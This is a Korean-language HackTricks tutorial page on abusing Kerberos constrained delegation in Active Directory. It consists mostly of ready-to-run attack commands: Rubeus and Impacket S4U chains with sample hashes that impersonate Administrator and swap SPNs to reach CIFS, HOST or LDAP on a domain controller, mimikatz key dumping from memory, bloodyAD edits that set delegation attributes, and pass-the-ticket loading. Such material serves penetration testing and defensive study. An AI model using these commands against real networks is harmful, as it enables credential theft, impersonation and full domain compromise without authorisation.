Constrained Delegation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Constrained Delegation

์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Domain admin์€ ์ปดํ“จํ„ฐ๊ฐ€ ํŠน์ • ๋จธ์‹ ์˜ ์ž„์˜์˜ service์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž๋‚˜ ์ปดํ“จํ„ฐ๋ฅผ ๊ฐ€์žฅ(impersonate) ํ•˜๋„๋ก ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Service for User to self (S4U2self): ๋งŒ์•ฝ service account๊ฐ€ userAccountControl ๊ฐ’์œผ๋กœ TrustedToAuthForDelegation (T2A4D)์„ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉด, ํ•ด๋‹น ๊ณ„์ •์€ ์–ด๋–ค ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ์ž์‹ (์„œ๋น„์Šค)์— ๋Œ€ํ•œ TGS๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Service for User to Proxy(S4U2proxy): service account๋Š” msDS-AllowedToDelegateTo์— ์„ค์ •๋œ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์–ด๋–ค ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ TGS๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๋จผ์ € ๊ทธ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž์‹ ์—๊ฒŒ ๋Œ€ํ•œ TGS๊ฐ€ ํ•„์š”ํ•˜์ง€๋งŒ, ๋‹ค๋ฅธ TGS๋ฅผ ์š”์ฒญํ•˜๊ธฐ ์ „์— S4U2self๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น TGS๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ : AD์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ โ€˜Account is sensitive and cannot be delegated โ€™๋กœ ํ‘œ์‹œ๋˜์–ด ์žˆ์œผ๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์ด๋Š” ๋งŒ์•ฝ ์„œ๋น„์Šค์˜ hash๋ฅผ ํƒˆ์ทจ(compromise the hash of the service) ํ•˜๋ฉด, ์‚ฌ์šฉ์ž๋“ค์„ ๊ฐ€์žฅ(impersonate) ํ•˜์—ฌ ํ‘œ์‹œ๋œ ๋จธ์‹ ๋“ค์— ์žˆ๋Š” ์–ด๋–ค service์— ๋Œ€ํ•ด์„œ๋„ ๊ทธ๋“ค์„ ๋Œ€์‹ ํ•ด access๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค(์ž ์žฌ์  privesc).

๋˜ํ•œ, ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • service์—๋งŒ ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ์ž„์˜์˜ service์—๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” SPN(์š”์ฒญ๋œ ์„œ๋น„์Šค ์ด๋ฆ„)์ด ๊ฒ€์ฆ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ(ํ‹ฐ์ผ“์—์„œ ์ด ๋ถ€๋ถ„์€ ์•”ํ˜ธํ™”/์„œ๋ช…๋˜์ง€ ์•Š์Œ), ์˜ˆ๋ฅผ ๋“ค์–ด CIFS service์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด Rubeus์˜ /altservice ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด HOST service์—๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋™์ผํ•œ SPN ๊ต์ฒด ์ทจ์•ฝ์ ์€ Impacket getST -altservice ๋ฐ ๋‹ค๋ฅธ ๋„๊ตฌ๋“ค์— ์˜ํ•ด ์•…์šฉ๋ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ DC์—์„œ์˜ LDAP service access๋Š” DCSync๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt

Cross-domain constrained delegation notes (2025+)

Windows Server 2012/2012 R2 ์ดํ›„ KDC๋Š” S4U2Proxy ํ™•์žฅ์„ ํ†ตํ•ด constrained delegation across domains/forests๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ตœ์‹  ๋นŒ๋“œ(Windows Server 2016โ€“2025)๋Š” ์ด ๋™์ž‘์„ ์œ ์ง€ํ•˜๋ฉฐ ํ”„๋กœํ† ์ฝœ ์ „ํ™˜์„ ์•Œ๋ฆฌ๊ธฐ ์œ„ํ•ด ๋‘ ๊ฐœ์˜ PAC SIDs๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค:

  • S-1-18-1 (AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY) when the user authenticated normally.
  • S-1-18-2 (SERVICE_ASSERTED_IDENTITY) when a service asserted the identity through protocol transition.

ํ”„๋กœํ† ์ฝœ ์ „ํ™˜์ด ๋„๋ฉ”์ธ ๊ฐ„์— ์‚ฌ์šฉ๋  ๋•Œ PAC ์•ˆ์—์„œ SERVICE_ASSERTED_IDENTITY๊ฐ€ ํฌํ•จ๋˜๋Š” ๊ฒƒ์„ ๊ธฐ๋Œ€ํ•˜์„ธ์š”. ์ด๋Š” S4U2Proxy ๋‹จ๊ณ„๊ฐ€ ์„ฑ๊ณตํ–ˆ์Œ์„ ํ™•์ธ์‹œ์ผœ ์ค๋‹ˆ๋‹ค.

Impacket / Linux tooling (altservice & full S4U)

์ตœ๊ทผ Impacket (0.11.x+)์€ Rubeus์™€ ๋™์ผํ•œ S4U ์ฒด์ธ ๋ฐ SPN swapping์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

# Get TGT for delegating service (hash/aes)
getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d

# S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST
getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \
-impersonate Administrator contoso.local/websvc$ \
-hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5

# Inject resulting ccache
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc.contoso.local/C$ -c 'dir'

์‚ฌ์šฉ์ž ST๋ฅผ ๋จผ์ € ์œ„์กฐํ•˜๋Š” ๊ฒƒ์„ ์„ ํ˜ธํ•œ๋‹ค๋ฉด(์˜ˆ: ์˜คํ”„๋ผ์ธ ํ•ด์‹œ๋งŒ ์žˆ๋Š” ๊ฒฝ์šฐ), S4U2Proxy์— ๋Œ€ํ•ด ticketer.py๋ฅผ getST.py์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์„ธ์š”. ํ˜„์žฌ์˜ ํŠน์ด์‚ฌํ•ญ(์œ„์กฐ๋œ ST๊ฐ€ SPN key์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์„ ๋•Œ ๋ฐœ์ƒํ•˜๋Š” KRB_AP_ERR_MODIFIED ๋“ฑ)์€ ์—ด๋ฆฐ Impacket issue #1713์„ ์ฐธ์กฐํ•˜์„ธ์š”.

์ €๊ถŒํ•œ ํฌ๋ ˆ๋ด์…œ์—์„œ delegation ์„ค์ • ์ž๋™ํ™”

์ด๋ฏธ ์ปดํ“จํ„ฐ๋‚˜ ์„œ๋น„์Šค ๊ณ„์ •์— ๋Œ€ํ•ด GenericAll/WriteDACL ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, RSAT ์—†์ด **bloodyAD (2024+)**๋ฅผ ์‚ฌ์šฉํ•ด ํ•„์š”ํ•œ ์†์„ฑ๋“ค์„ ์›๊ฒฉ์œผ๋กœ ํ‘ธ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local'

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ•ด๋‹น ์†์„ฑ๋“ค์„ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ์ฆ‰์‹œ DA ๊ถŒํ•œ ์—†์ด๋„ privesc๋ฅผ ์œ„ํ•œ constrained delegation ๊ฒฝ๋กœ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • 1๋‹จ๊ณ„: ํ—ˆ์šฉ๋œ ์„œ๋น„์Šค์˜ TGT ํš๋“
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

Warning

์ปดํ“จํ„ฐ์—์„œ SYSTEM ๊ถŒํ•œ์ด ์•„๋‹ˆ์–ด๋„ Printer Bug, unconstrain delegation, NTLM relaying ๋ฐ Active Directory Certificate Service abuse ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ TGT ticket์ด๋‚˜ RC4 ๋˜๋Š” AES256์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค

ํ•ด๋‹น TGT ticket(๋˜๋Š” ํ•ด์‹œ)๋งŒ ๊ฐ€์ง€๊ณ  ์žˆ์–ด๋„ ์ „์ฒด ์ปดํ“จํ„ฐ๋ฅผ ์นจํ•ดํ•˜์ง€ ์•Š๊ณ  ์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๋‹จ๊ณ„2: ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์„œ๋น„์Šค์˜ TGS๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

More information in ired.team. ๋ฐ https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ